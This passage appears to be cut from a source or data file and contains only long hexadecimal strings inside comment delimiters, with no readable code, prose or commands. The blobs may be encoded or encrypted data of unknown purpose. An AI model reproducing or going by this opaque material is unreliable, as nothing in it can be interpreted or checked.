2b24330260c1b73746673ef76e5b4f45ae6885a5241e5907636ed9e4aea048ee075ff4f7f3b12aba472ae8a00b0929bb250e838164038d69a716f643174839331c1cca4e49b22c31ab395cf3b31ae06675f00da9c5b83ab5cde5714385a4224d9102411648a5e700f3ba4aa6337cc07fd9290d52b112eca701ea88814e92b0f5978b3f0e086e6cac1e3145f5970ba4c5e70a151f699648e91b7d02f2641136899b7086e34a5235b139050131e45b9b5429707f68ee443fff691a86dd48c736df0718a7bba49bc709efff59a54b8bf3e95cd2fe904c44fc78d177d877a33073f62b2ca0e97ba8f547f9b64d2fa701eadff7220467a25e565b2e639003e9af31c184312f6eeea72da2e21478b64395dc5a7b2d7d19af384677b536746d2cd0277d7a52bb5547d0f908b82b84a30f9c01e9fb9bcd57f2f3d7f084f015ac9ca3ffa3639da27285863b4fae9aca945a5d384da88959b7da565dc4927a6948ed6f38e6ad5c202176a623caf1e963fa617569bf63bb8949c8b95a712f054c7dcaa79b6f89e4deed0afa0e99d55dae952267bf6027d22b94630075181187a8d1dcbe11e37c615455f1233d1728df7d7c9088d6a94d3113887a2aa4e98f22413ab8587f0add029c64e88b65420c700627dd8bf3b7f73a1b877aa6446c7bd7f9f19c502dfba9bd2f133a2b617a182f52e30c8e541690507c2fc74d43f012fbd2c6722022047335cc549e81ae5d73dbb4c630c608683cd17cb39c0c6bbdeea6c1bf6a7889cc24790c660b01b3203ff7b1c9b3cc71e5500e9a5570c75b9aceccfab0457d361176c742098431e8a1101c40252b77fbc1a30c69ad6379e7ff8ad094c89c3da679fb707a6605b4fbe6e2d93dbc2397fa2618a52e43b537c84618aabcdd88eb5cc9ab382cf75ab61564243e2ccff4cd0c874f6823e3753795ead37d9287ec2a238b359831a16867249dbe101d556a8c5eb0c309a4141371684d2c25f0f4b06bfedda82a24c86833fc0e5c1fbcc5432a1b5153a69aaed050b8379a24a42c9e3fbb9f50fdfa81eb4015ab38bdef1cc7cc6196565f385fd55667c906f84429cd2fdfd6953cf2e2965c66e8ccafe2c74f6c13f891181b39ce24bf3b26c7e1b99e7a23e707e5d5e1aff908b41257a791631d5081276c49ae49baeae56ce963f1f805025ae40a930a610777fb2ae612de49aa62778b1382dd61b969275ab44a34595e9b34c5954bf717c3ee46f8f45f85afecba1927e4fcc63d2516fdb745db77ccd106db762a1652db44a62f87ebf7200088a5847c7af8f3e28bdab7a1a1c7f1f1b4f0050bfb01841f7daadcd8e4dbd604f0212e1b971197bb7a30df02e7b506c5b9c1a72743c6628a168f0d62bcbb2817b60d4b7681fe694a8527863026c43db9fe5ad632801b17c7623440163b3a9bd2fc7df08e39aa05eee023882ff547a0288015d6810bff6de07af904a6834731fe1a3505961f2894533b63cf298d7aa6ad0a264067fea0a6332dc0904d2e5839c9b851c78a84b2103dc2359c942b682588af3d7940c64775beef7b911cee339d6099facc94952bcab7690e26adb125bfb682f5b6fab544178c49a2e3156845be2221c7bbc789d8ba9809f01bdb66e3bedc36fd05c3a363dfd59515e40fad58dd3840b50360576185394ed3dcda2bd21805dc08ef2b2422bb49a8e574ee62248ae43dbaa9f6d2a9aae113397d6764e3a6f3d68071635112805aa77d51f091b9e4d9d6e9c79ac1502b559c8c474608ef015ee38bd4e16b07562e81efac2f154417a5205acdac4f7413b7a116f13a639f17ecd9e4e70f9d2b1ad87d8a7aada9c6687244b49b63f2ccf1ad1dcd2ab7d23cb856860e1d07a35b9a6bd5fea84852c3bd204e66445dc4ee0678cda28917c0b907d370dfa1986070d436890457b1018e26a178f0909ae03db24c5da8597e17dc71e886ab9d9b419450b2292653ac6db8c8e70ae9948918959baf8746469ebb1a784d72d022a3*/
/*c651e99a618e2c3c70e08eb9ebfe264e87e11f40c342bb32cc8c2ce6dd52cbb180f2af706fa557d21676c352097a07725159be6353a25f88d05c5fed20e6ae975a3ce23f3728f9cb0fcdd3d3f53a43b5fd7eae4dc8fd8074db8c1302a4564266a0c7f8a7b31fe4bb43d16bf8d7df5ec3369589db14f37be8cd76352bcf6fde9ffaa081a2a1f6dc21faeb6be878c5636e93652a076dcdbb43afcb0368b5441aa14e11c06239c2a5e1f7ce7d7765154b2d0365263ec328b43c7ed8b09a0a391ca0e1c037986c56269667d3afb924c634ff2b67e826a7789ad00328c54f9c6ee657c9229faec105fb7165ef2fa8d0a7c18471a0657f1f608ea7fb7a14b735e5847c29e00a9182018224fa9a9ff177ccc807fb18668c2fed5c4486ea958846f99d6efeb04cd8b50be64d15b5e930ddb17ac5c2396012f778258f926b0eca4df47dce54ab2885ed398175dd35eaec19e18708dd139b9010af0dcf3945b1f378ede4031ddff7054e4fea44709b824438d8b01411bb61ca501bb1b5205a83737c25a4d693abe013d2daf30ff20e4bafdf692b71a1ad439f40330c282883c8a6b83c5884a425ca8afa7081cd8320bdabe1ff409cb8d44acc52f3d0c4c4e99f1473bc5b14bf6d20871f82eca7ae5bfb1313411b430ae4bb77c0c3b5edcc785a8dc4eb2b20a9e9bab28277146514328bcc9aa287002da717262d0a4fa621931430912b4223508e41c392310c233a539daba51774098dbc34301d04e5e52877da6fe993a36121a8ddc745bbd60eaf36b2db23cd920d538ecd3a07195a89209a94092d8de9b3afcad4a7f44316c6ca11196bc54b04c80d302020b231047f57499fb483c1765440147c5da28601d8bbf75e210d65fcb799804dca7a04de8f0c0c4407012763ff58ab6d21a866e4dc36b431022034154acac4bf3dbaaa4279d6c3149b6568fe2b34044aa393eb11bbcf7ee22d87433f867c4d3c757dc7bd6d6ddbbc38bf1e8d8cbe53c7c3df96d1b26ab6c053b9cc3f9f634133ff525a561ec6d18b07973697309cef7ad21f236c015634945739af75e542d04d366c81f46e66bd4ee3d32792711b8fb29f96ff231d99a82b414cc8f7be17fa02410e7656d9d1fa5690635534b685c867e30b36dc84816aee733a23c4e3a2ae5a4c6cc6ad0595c1e60174e1cc85e0b11c2e616d16f43738e132d7d32d613540b82c8d1113afe07aad08e40113f5974e548f366465a39a4d60f8db3eebb7ba8320f0dc568cc0b08cb56d11b037bc70ec9d51c744671a749df94f52156ae949aaac5258e69d6bcf5103dc18699ce7a7b29fc184dc5c4ca1dcac1ef7aa76b02b3ba025ce4e8e959ae3c0505a353016b1919a669d5610473bb3a89b8985407ddd70564bce08f700abd3991523f18e9f60a77cd704fe01101122d412a21cf96a3d9e86ff3b9d9245e872b381246779b826a2ce4036c73da5a60872a3f24a94bee69c76a68471daddb5624de44df1949ddc56854c57e0447c9152610feed013b617920f01bde4d3ce3ff954ce3633fd37bae8846045c5101327e0318f35be10f699b7409d0cbd5c560ac2633101ae4948ab5f2780dd5fda54d6889ba6639f857ddeb7d86c84326d0e5be36c52d41c7dc5656ee583c99524e771c2db8d1b7cf4dc83b408d264aae26c3f45d000d583805936eeea2e3a3ff5da4ba37d87f9b8b08a3a23aa6c69efea19c0f7a9b05d74ce99e4604f995f576449892ff7285b1a228fba779eb49b1afc034aa29bd01631184e9063815faa7eb2826f6d7da415517e79816bf0d1a05f230e86fb1b9f551942c3867266b5520147ca18db9799c89fc478a8238162e100ed44dcfbc6d4ca53946c66d59887e0dfc8c8178ef109208f78f8129fe89867cf58802a75e5d3aa2d9781caed96485022dbf09a6af3c01fce1f89cfbc29dff61a527495915d321ccbedd8420bc5d77401f9ea7b237a91caabbb48f7b627da2543634f5c9d5e38e7bfe0ab2201b0fa4d1a69998e2369a573048510b565b7b20bc6e09cc73a3b05ba0813b6e41c348d4988f184098afb9005c3280e985188514fa5e9d631dfce342cb46e651db5f479576ce243f1e9aa92acd166f7e10004aeb1ca10cbf78f1d949bb2ffc15563ca36078389444dab3b0062ed59ceb4815ab8f1f21e5e74e85a17eeebd4f6944ed4d63b68df6ed85b70657955a0181beeae1c81f81a911ac8f9d0984a912c33634c5c48ee05ee5d78931849be2dcef258b9db4c2215ba350db8de05020a3749fc8b1400850883f6b315f28706397a4beacac47a93262a0f8201f7789f20a0ab43ef2ac91a424c44af012138ab4ce3734affdd76c148e86d631b3bc4d74b81732136e0cc219ba0260cbe0613d7b72cd52cbf50889e829b973d02e801f86528c5b87ef61bc00267466b7772eb783f740b4ed2b10705f5d1fb245230476c6bf82fa81bbec78b15c7c9353d5c3dfe27970859d650d688cbc3fc1d0446438bd276719509f048cdd5a462b8336508467c449a2724c2fcae14b1c413d5edd3b77f8a3a79986caa5e197a81e87d40dec970ddfa1a04e54b5f92c01546b75d614024e648791159cd9acd5e0d2a00f2fe158b608b54cbd39781ca6736375ecd7d98223a88664e959e3d429c77bd99402049829a8299585e6ba7f927133d53de1be6bd6d2c542a56f23b40fed1ee09371e680a74ea270ed4422fadac33e44327276de452274dd69ae57d247e3ef35909385aec2f09ea7d55ee8eb9e2c9870973b93f9fbf98607a3327ea5455acd5aa50e1f8a934b8e98d8da0fccf756944a81ecc844af3bde597af608271b3044c83d407da9762*/
/*b950a144f5d0f088dc76ad41fde45457454025edcafce0569faef9b22b11b52c74b7a2c0178ba39494ed1fbb50e8d31dc1ce6114bf34011232d8312b6e2cd68b1e646f7f35b75f19044ddda202a24ae78486d66571d1d3e0986e1ba8430ba448168403919007545aaa4e7e1a46cad65d8c7d592dde87f4b14f8ccdb5cff2f0671ea13373ebb5151725c803c37466f8e36657b90e95b6da4782bc67013d307754b083a687fc1b5e0229694ec68dfd290aa1df1abb424a1509938a05503bea0dc526297acc4f061a435ae0bf8d430ae14640826024b287c96bb75b25d40210923a0a91f318edc4f0627ec05bfd70cf99858c347d6036943e8074fb7fc22a939bf12d40040d861ecf49d50ef90e21ddd2ebf9d95941a9c7fbb02b838952b5e2561d3cbba1e161f4b1e1929b201ae0db52b38cec8a6bdc8be5302ea5255029ed8dc36fff90a1e0d702db72f5626ef8f2cc1237d6fd3e5c7324d4c8c68ac21705e4e62182a6bd9351a868c6d1c7de937f5807a92064cde93bdb9472d95cdd3b0faf87e78fcfb7d7dbbe1757b08d7a1838915495546e78446335f2e707d2ffe22b567d79323fc1c2fc5e00108247a4e9fab9cd08bb6348f30b89a483f7dce99de8d9d829db061dd22d0d8c5b883da7fa032f20e61b5a4bd7535e1be5158d1a3fd79fbe48ab5aa4688cd861ac4e51fb68ca5bdb561464f35153f2fb2201a1a44a03f5b0e459965878861dddb5d5d3d86b7d8c6bec93cc7d71d4ba48a6fdd5385aaca11228a4be4126dc95b1f93340100010c7fed8371e6ed2f43f957374e132e4318764cd69ad72dd4e6d4da79462d103825d743b1402d979738b120678b5c304b8942dfc097b472449063904427759332d3d43d237c238c91dfa2c84c230d1d717766732474c9b813c9a6cac790a1bfb87a6f4e596cc12b3e28a6a55b76f0b2e63ed7d7b85be37761ad0b458e503bdeae2d996dcf157105113ec40739fbfd96ef9a4cb2ecd08161b590126ac2c3279d72d349b5f2aa77571f579118f1a3cfaf6a4859ea9fa5f76967cac87651eda974b7ad7e0d11f0b07fe2152664bf16e1f10545cc94a9dcf5d81f1097c26d7572e2eeb8641c01fef0fa7f17ebd8eb25ff78dde48c7397bef9f838f3c59ed46399f19a7d735aabe9f8d1253fcbe9c31aaac89d8d847011d2998eec5eddb0504cb2e5e28aa9778965fef3b7a45cec6d0f7bc5f96ab50add5533ee8970b583d8d4f403358808428dc2767aa14887a6475e2a52491a54cb77791ae7c38db3802bed2b2d0bf8b458005c3785d38796c058e244b57aab2f861ac05252b7ed27d293ee9eec26c154918fc934ca3b6f7348c0b20fec8e4cfccb2e39fceaf849c80ba5b743219e1f889ed33e96d1382e6d70f6279067f81d777c9234b11a0657f1f350cb42c7951a3f1c0df0e4c685d0d7bf2bef0e6d8336eb8a9c6984d231f830138cdf63b3bf14403f86f22546ae5e8bbe943706a3bdf08971a54c3f28f30dbf8a6218d08750a5c5978e18d809544d6de019a5fe700f284ec6aa1d74ec336ddcae91c7142490afeb9884dfa70297009db2f9feedc07b7865d446b9dfd2b1e946d83e9a0df57f5978028fee6deaee6008bdfd5b4a3d77655a6a4ce312007e38c1b80da0848500bd6a80dbd80a916b55267206480ab66952c505ba1c37243336967d7bbf6be308b85bf65d9d56aaff7d3451f823e16f3728e1394eb8e5169775a2dfd4b0c8e839d2a2be0f5d918f33c5b1cd53c2f0697867f5e347ee5f1655f4995a4a3fe000f12e390629d5f84a8898a8110a49440e8d512dbd865d1ba60436776060077b71488321a7181a41c71aa2c8f3b20b2c811fb72200a529706c43d750b1a5cce6202d094a42cbff2d48c298cb7a6f1f8f62156ada4d87cd9490e7b04c13387e3550c98fc8dfbbb692eefd8cd2738b79c77c7f598921c56f44c6b6c4d3db87902254fce5660731ac85fc91903f8a7352559b73876fb83333fab2290bba0afb6b77db671a030f879bfc174bfb99f843889f247b1e1818ca4c8f04ad8b299f3723767e9cad9fa7fa03589c0fec7d2e82ba06e0ac318abfe709b3a5b00e660e85cf59206d2ad2183618a7ee7fddb2c55c71d419a5ceeb3208e2dc92e7f78769ba211481e5a3af1a2428be6f209bbcb02c81beb3443722d7f78abb56f3e4f55c45ee78cc664cf5a86eb20662d7d8f68563c010526eba7d82485f6319153c1122bb73b1daa4ec8780eacaec9ad81cf04a007b00c59198adc2ec7da72cdae3b2382bc2e9c5b7b6778fb06fd9c3d7d65a6118edff2003dabf0681e611db1bf28c1bc312671036445851d8fc2d28a6b398b441fc155dbf1edcd1765982cb245a7934b4fd880a1bf0a4b4a0438bd24780a72dc0098e87b9a8672aee55de2c1dc92dd083f5537a67ecd0a1f822d668e4fa711c375c3f5b4575bf3d91a88f9c3d37c8573d56f8347e2240f9ccf3583b4a1c76b785a8af8a9178d884911db575b0a7d911e61008e50af59721df35248027a0041a975fbf8522c0d507a5c768bfc49fd27b229bb882820993ef6bbc3912ed1c1e09228ada11963d4e16b91df7dc9cf6db9b3e5761c04898ea3c89ad9b1e186cb345b9a38eb5abf4298a1d0a3b67023cd4c88e817f5d6776c8abd2075e4219b3f3b672219d08cdf64b05e4eb64884ac383423ef4a06f0a070741ada2e0ea31a5cdb7192e16baaa6295aae0d18dbc224b00f94b25adf588a8e0d2b5c468059232a2c195fd791b04eaa52a93c3957273eaeffeb553308b72c274b9a02e094ad73205718ac3d632ca9ff8822aecc4aded147cb3fb1006bde346996*/
/*3bb4d8536b90133d8254ab8f73c869c0361573b4d426c47beb4a4e7fbac3780de7dede06b8151a77ac7f4305ef0069f6335f09fd4eb3cd8d1f31ecc1c24f1688de630ac09041b6bda1e469d123da2fe1deaa9d38048fc3c252e3471b4eade43a62f6975c59ae68a55f9603a2946f78c439ba0113129a279708972e7c30c3573b6d911815f48ed74c55b477e4d5fd8e01515a5c6397d008edadd983d8fe777b1dbe9da7df7251fac41bb5b3d216f328380c1f33229bb219f44a5162c63bd29f7d55ce88bcba576371a608b1ed3d942d86b031fb0097b91e999aa2e7629d8cb12f58f3766de7ce521892ad74bc88ec7e357a82f3a22ffcff2501743f3d034b392d33e5300fa9cefff2e15a7638ad2ab14c77f855e4110c41deaefa46fe19907404bd3d0669cc37e56469ee9d6c97f99334e4ec08f406fe106288496dae74f026f4af833a4a847f4bdc552075d6ce184bf631f312447df6f095bfabae799f26c224efca29a5b0a296d6d0c985b62b97660cd52e75f7b17493fcdd2773bf606aca3e25e4b352d830a1d66567069e8306ff5ae1436d1f3720e21449d8fc84457e510c98a271df9c024091b0a8372c122dadbccb35562cbaa8eae5da72cc8c6b33acc0347625cceeb0991d0f06f1d02858acb4364cf6ca002c325a8d3291c39002e83a1ef03a248d0c19a6f61c9ee14a6cac37662ee53fea8c0b032e762ac1f857b91fb48370c74c7375f7011051e895e600ab78d7d2688c063341976b3b173cb4fefcaaa996a5c1959723127d5664ac99e75042c2cd4404c7e02d0c68fa50c3b85a74985978d1f5308a48024251b6e5de8c7c89d3d8cc619193403220cf66376f35a373e50806139bb97fa9633612d6757fc8789cb528bd3134c0628d6877b6f9d2fa7fd58d1f5390018ee7391b1b8976469ae144e00802bc9103939019b6522f945e21fec645b62d8a389ea49c4fe1273c8e55db1c8484d269904222be17475db6e0f9782c0af8fb1f0fe7ee3aba78d5e39b9def6846765796255b6de68dba9e00ba161d4016a4067525f93f65c2bf0bde7dc2bc6f64bdf34d3cdbabfef5606a76353e2e192a2f8986ac01a68a74740f96c637b1ca0e56c210a2d18abcf88d10d5980524344220001db3290615a4437a2dd7a2cd8d6c45babfdaac7144af460026fe06849c6ec7f5c847803747e3b2b5580a38645a2f483ac2402dab21901666d871d4f55e9b1b37762067f81384b358549eb161e9737aeefe7fe2f986db63661fa7d6b9b14f4fe066ee2d31c662d5300f737106a57677c3ce980141fdb0bf4125e65763b449640fbed051b47f3eeca99a6b318dce65d203eef0eafb5bc2dd733983839dd72ec5c89752e9f6f3b546900012be9108d0426370352016985811666a0d95aa10dbdc395122b072c6feb4c65b2fcb2696ca477e4f00a194843128b01666c10df8492601fe5e207c69b70f6c8bad1265b982e423c4f57bdd2d7ff46ed65b3642db61fc6d6a5954f69f0c0fb2ea8727a5ffd06adee3c7e416c724dd75e93768543c4b5e7e68034a073a4be5a723bd74ae93a6313b9573786049aac25b2aa3e9d31a271cbadd5d98010b53493e11dd5ece0d2c605748a2c77879ac343a16d9c782ff5db0ff26075894df075a5ff5156da475761e436bad712a21910a30242df4cd7a5ba7b1385c8585fffac04c5c16974c32f88ed2d18219f842582ea26de70eaddae2cd308e930cd2c3b15b906a6ca5dafc3623d114ec50a29c35eeb52842db34928b78446e1ada973539eb204a5eebdd8b0671bb24aa7d9a06a54cb5eb60abe4c3388452c6be175b7151d6a7c071d1dfddf8ffad353632f95d9b36e22cd0d60fcb96794f271e44ef459811e025c8b92a2a4ad9fb25bc04abc870db7b466e2f4434540b4667dbf98676354ae727db104d7118d6f5104885f2b31edfb306e2b3e1598317f877ed56ccf609d5886290e166fb0e5a9335387bfba0b53b726951902a18c57fdede181e04c32756bed9bc2540333ae665b59171bbf20f3e400a795ae9acc7133ab0b90d105411814e30955ff10193b568a38c9459aae6a8e29244646749fc051542dd2b236b3086de47c13514ffaaae9a988ad8a780789ce936ecbaed9cbaebf314ff0553903c23344670fca7046a3eafcc0a687cee898aff49fd0ad26751aeafd485285e24cd6e1221e0d08ca08b73ad5d40627e86621961b3966b852458c33552152443d98009c2a4203f9aa5922c870c66c326ca0182465dd6d92c7f290e19bb1a7b0d63a73b67d3b6d2d2585c32181453d1f0ef68b24dbe9c416ef4d38e156ae4807a0014235f603a0498dcf30107b400356e5ed9d7e18776ed3709ec0a8178d343b9e26a95d593595ac2ad9c9088b8e22647d47eb05eded3d284bd9f09311f2283c4251b35feaa7d49511f44d5e1aff52214ee3ac4af339fbb9868e8c08b22b1094d22190ec2dfbffc0511b253d738c9049422314247d331549e6b0d7d2cd398184657b918a90d62e2f0cd082ee110fde2ea5be496cbd0274350dd98c40225e058d352627992f90d42f886b4a0b11a933ca24f5f645b22b7b3bb85e6a4fe13a788d077376c38c0c5af13d883168447425f805ad2bcd4ea3d0a9ebbe5efc2f7e3daa7478b6f8f07fcc09e1729354312d7984b19beaca1fb945026df77ec7e86994dfc833cddb479124cfeb2aa6bef47fa5a90f097af71412b39362d6378027d45ae17b4d53dacf663f9e6814f9eb2c4fa54d3654b76720ec75f3a977ad4ede4322ea432a3e3fd3ee8972ef4c855afa57af95b0880804a10a264b7e418e16cecd8f62f5794e87d02a9*/
/*c330744256562f4e065b84669f91b8a3d9f4684b3f2021b7e7f1a19cf4d6dee72129907acfe1f1902dc22b6cc2a76fbf69eef629c89debd3661f843dfea2f0e4b6aee4ab88d736b8c6b1cb6520f5d0364af504b9964c78a030f04e58c7edc436e1d9daa7b90ba3bb36b8f93836428480d4e9c8c3be2c5f4bf9564c1685504577a0af88f30e284f757067cdfd69da2afd0b995e2d557608966054559ff786e5c04fdcaf482a5198e0544b1947da86b84858dac9f857fdd4e8744196674297898a326d8a54cdc090218917c0cf5e8eb23e13cd48cad2261531f69d2ab6af5ea182b7a76a5ee5b35af1e508135604cc68817fdf79949d92b375ffec39b93a4ccf1ce8790790838894dcb6b41bf58dbb474c4fa6792e1eeaf6e5e2ac37c6bb366734045b6bcd42780b3902304900404914e58b5e8fb3be1eea00a36011cb8856a1415621fd4db75bc6dd010806d6c4e46f6b22733f10cecb511981e18930549e0f62873e1f489075560d95af847bbe3a0838ecc8500af8cc325d7ab2957938678d55f24680eeb524b3ff77793efc66c0447912acb2cad9a8ec1125f24a69dd47b199c99b2137072c1155155b05406bc367506209f9320e2d26e4d6fb05d2eb32b7fd8222642bed4522da025c708caa63983e7f6470a8076d5b49b8fcc216c1da123d81817271ae360d69b7c306e6c159920ce85057569772eedaf725578008f4dcbbe116755e343fadd2f0100b215237a0e307f9be48b09aa9fe7d860cbe43a5419200fb7cb1169093d898643f7379ac066f6caf6ad33ddaa474d27d997c46d7eb0f66a2902f952107dd4dad340e6453e9a8c0844cfca69ea7ad1a93f23ea63769bcfea276bbeff791a2efba0e912644aa0920fc215c7e1ec0c928275b4c9a156ec9b1d48d33fee9cba2cceb47236489ab042e4a8b2ec2892b8195b4d5dc6f70cfa9ade3e936e2edc34608a98a72a73ec5f70dfbafbf2fca946db9ea8468bbba5872b0be5bc0b16af3d15cfc7a950abd045d08389a11b3dce79cd4c7963d6ad87924c163e19348693ac11ba144e0654448c4fa35256c0013b185698839108baa7acc5b354eb35b53274207a1b18dac913154f73c3ac1f93cf2d981eca827c0c149fe694f15683b928858a33a16a3c3c091393acdc6c753b2da075a1864ba3d96a42a27be6af018a41acbcb85e455c100225e20657293a14e02474e794c31452e87e0f51de4cad21b79f7492f529fbf95feb4f010bc43820245919212d237fe189497f8659991519b5c68e2f9ebaf540733da0fa51aa25a2d972ed4f8e45aa11c26ec0862cfaeb5c9faf08916a4a47da289a637bc3da7047405479b103f6a8a6a8bab72297e421f4aa8a0a92c823f09a5377667523347e35838244d4a2bca80244a0f9437d0a52ceeeeff5f0aa852070477ad9ab94c3d1744eba78c1562d4169655553d6fd55e47c3e9f44ed6f3ff2c91408ce462132b3c698a9cf5b3ca63ec56e21c320eb0a0f08c42f8eb2ca7867a45958c3b1cba5cea1d8791a59cff1d6ef10c487710d62df01dd6d5fb49cfa84855dd75141d4016246ce8388efaf54da9025a90c28d05ecb1016170083a0fcd4a57ca5ec7e02c2faa49b022c4d6cb3a1db37002f18a4550764f74a04c728dbb1792b09148fca8d77bab8eeed537d7f274ae6992e998331c4d86b8213cedd179b908155732eeb88de4806c928f4869334436b86aab21d381be837c30beb6693e340a38977358a8254ec87dbd56459496dd6bb4086122bfd79703677b23b8af9ac77430725ace267505b6aa1c225c15b1311ea1dcb55533dfaa2d6b199ed7ad5492908eed1eb3f4edbc4b67eaeff666e999a854d06d2cc6933be4d78ad5413c646a0554dc2fe98153aff195f09b75009c220ac2470dab645b21cca0177f0bb0221bcb940ad3b8ab496e5d032add8f4943ae8f9fe20299e636f3f61005395b843cc08017a9e787fa3a78cb0abc5b3f2b40da7b18b04ab40c8a31c8df56634c0cc466fe04e804112857ed376c74483856c4ec12d9ccd1e051dfb4b68fded7b47e8047f65f65ea490ff7c49655b74c946bbf6b39059546e5aabbd160c5f60910b533c8954459a4255b313c3d4b7e908115456fb52a6e4b9cda00ae3e4f13a58e9512bddfcdf1385f2ab8a11b8eaa9b9b62526af7c4cd731c511a8303509e1230ce441a6d3569096a167b7aba7ee80cd2518036d7ec4d8e81b918b95e4661e3371545e98fb1851734dcaf2bf5425e7352c65d3ad5ba3b9753e0190ff7c3ec82673dfd10f94e3cd4eb46d0c707075caf9f543835b091172f1b044c6a51bc95cdb3a5ea10109ade56aef05deebdb9791f69f784f2e34819185b8d001f4ba02d13468ac88ca192e69bc550b8e9ae57572db5fa6ef698df643a8c414ecd3cad416114f3d18bd0e9d8a87d611b8a16f9a4467bddfc3105541ac762c116f2ca6273ef6c2ae45ac07fe8d3a78f3f8f9ed4b2db710d0996d4804d8e12ea481fda49edd09e05f456a7d994ab66b6b7fabbb85e0621855df9723d07a2e9223c4d6778e07ed2285f06b5b6cefdedc027f3f8c2adb7160828ec405278aa7a73b70b58b40bde01409502373a498ebab01db0bd16f688c219f91fa84903d42a49d022b5b1b1623799673c2850847b8bd972dec6fb4cafaa0f4c582e589f84d20191116fc18f109364c014b5a3dd78a10c8c1fb87f753f35d2dcb715ae6137ef4e62e570b00a4b0298bc23b1b7347dc3cb39df9e88addc1e7a09d9467b1af6df2a72fc1243a0c5b05571c3b40a483ff03204d9f3810e26d5b7b4e53ca5049c85f4611c2de3c9a26210d16f516886*/
/*1d9b9ad49fd95d598fa396eff910efa9a4d8dd85c5a2ecc9fba497c0a944b99c99bfcf63163af63cb09fbc2585b5d77b0d8554cad924d943c6b7b379b98bae483417523797b8a24f95f13f21bb945b6adf404987617329e2851d3aecdc8e1f0af7c4ea4f7bccea557a13fee18e7f968287132e2f5388a19e6906d73163bb19fe6b8023182094cbe198b578dd57c10777fe38fc9b03703e5d38b0e2382a7594ea56443ccb4b5b40e50cdf88d48d9b112f24424bd7b67bd8a1f6caf0826ccff8f14cc7e47d60e3436d5c4fec8cbac60a5f871d41dd681276f7179455aa29fc92360611a3ae6eef8eeeabd3620c0d19bfdcc27ce5406defcad0eadc8990a4e2172f0a578d919b8c8794c5ce71be94fb89e9b5957396ebb9b8d73a0432af954e6f622f9c7838170873c0609f856062f9d3eb5d957fdb133ac16c0770367470f1109e1b813274f43d21e78b07a4ddf2c94d31d4a44c27993f43f5477aaafeccdb92d823e6ba20bdbe8526f5caf9aadadc59a9660a14ba7658fa099bfe38e8273681c3a44d0efea1b58f00db0534f0bb2b5a522322b1a6eae5e0a987ed7d01bde9f872659be23cd0931d8703913ea9eb9ff7db1f54c09f180bf94c9f96243b05b2b9a6782138a62401b87180e7933da68f9ec303c673229c6bf8e91823320222ce47932803399c80da535f3effe1202899eb6ea6e276dcd1396ee17c9f2b5be5eb9b78612154632e8bb34e8ead0be8f2a24732676697a1502634b97e5876ab2be1a0778482ecb0582cc30ff4109ed03fb6f4f08f804bef7de8c6fb136e1d42171041d469e1bdfd6c95be2e20668cb01ec3f201e8be3888e7509f0b5cb2c4dcd5bda1c6b21c72b76c9a7c3264805da0ef5f65ed132b111530764f298ecf4d17af8dab3199a8fac9f79db41f22c38b89c66d5c08ee020763eb42c7a69ef50f2608b6d27b89122b1b679152cf7ab51ed4d678d57090c12ee25d5f6efa75017ed8a1a1c0ab1b384624b31baf7ae5331c9a705de197e3a91bc2ad59cf63f8ce8d5a0a04c47d7109f84ecc7927479525fed3fc0ae6390877b3d7d2fdc1dac101ec49c999b6a872f17556023284540e405e9a85713b5e994103d5100b49e4f6b8b330d69266a7b43bb6a16f3a7dfc5b61c4bdf288cc70c1d5dd939bc867ffe980325fe3291000b877c16b598ff79cc54fdd9778230c1b03820d717a91f60b2f6b744e69e64186aa70704c7ff33612727a427a5bed4b67a1192d5653df64b9df0c483f4cc7fe8e7f30e53d1a0355b8f06b9c4645a7aa9af58107a71381c3ea4e8f70bd259ab7886cc9f01269161d49231aaa274aa993daa129ac07e1acb3b51d223f1381fe4659d59edcba887b8921458483b7f3bae7fece85facb45e649437015aa312e84018e9edbf864570ad533baa23037a057d88b390f8d0f6761983ec1fe091eb901e652b2af582ab26ac9cc10ea9e827ef696437c1149b061eb4fedacf3582cc68b86ac8be8653657c7d3c10587fd2391311ee9bf9be60fb31444476764c71e262ebd041a79f515f6e859c6422677f3d654534c889969d728cac0726436c5232f77ebb521adbe4a0ce4f5e0c77f7edb803576aad1e3d39bc8b92e88f257135abf08ada58866126a464aca795a6acb195800eef90bde0ce87c61338056ce13a946847c9f7e63899265a661c5712a80ee7798eb50ca18275b8bff752517faafe0fe3c49266b0a40e99d53ffb2b412ad3c62b190485550f296a2cf2dcbdf968815362df0680b75e7c64caeba604e463c20e1160f2afdc17f423fc469125d80635f53d0a5881a1d23ce5860f9216587237c97da980204c6399f5725f0cff2824dd6b7872797e395dcf9054e38c70755562956b6ca7c42e4f76abb300039467ebec636e1b2257a4888725379407278294745ca9e1115127b2079e9654ef52eba553e4a427b4b6101ab6f894447915a12831008eac5defb7dd925fe49e64c90fea4d0c77fa3958ebba9c1c6bd2dec489be336d550506abcb35813cc13ad53c85457a42b8e2ce47e542a18638549c588883f3b9a6a8d3fc4754b41ffa2ca7cacb8810b1a7d74b34744e29b5ae5138ba79e6bbe5737702d2bbffe977ee5f7ecadaf55bf3d932e5a74bc2431b532730f526de62cedfb6b2b547cb4d3f0c0307411f383914054efa5c52cbbaae59a74995128177f599c67d774c03fbd6c482f33130969d60940a4ab4e6939a64f4a5b23cb6100e6eaf610325e38608e89d83d61315ca46aee1484d3e95b1577f216e0281c9627524c0d4a05ff99d443bb86b588ff2332ba2e2ca038a158837cec5b1bd2fa4b412b819a76ca560fd9d640382415b7d3ae01c4baf771cf650dbb3d0f8121d53f301ce9d7b6f73a47bfc184ed1972f39db3c50d259bfbd97b41f35cbfd5bfef4ce162d054fd9b34dbc7e3d69520223901574751ab11a685a66848f869e0f5540a456b556c2cece31904868bf378df402ed760a80c0809f2de7b6f5b8577c5e9c7eecad0a7f22dc668a87c25f2c13cd6469758889e1a2a457bf81c13c03e316412a6b13650476f0ad04db1d0c8c9447ee7b71349c06be3e8ab5b8bfa0394dc1df4e433d3291bae0f5ac4f996955318b24766338fa78937a276e5a3b1b9a9d2141ccd43abdac0a2f9aff75601b5cda7d007ada90827c26d8a1efd9401f8af9d8d56c2b03668a0ea7ba9cc9f66e7b813ff9ecd7310c04b9e614a505b4d354970200d049093255acccf9dfef31b36575d67c9fdb4cbcea89b633793457e49cba958f068775e54e46474cfd7f7a09201e1c0aeb0d5db919c775825442dd5dc08f7b62413c8143c74e8*/
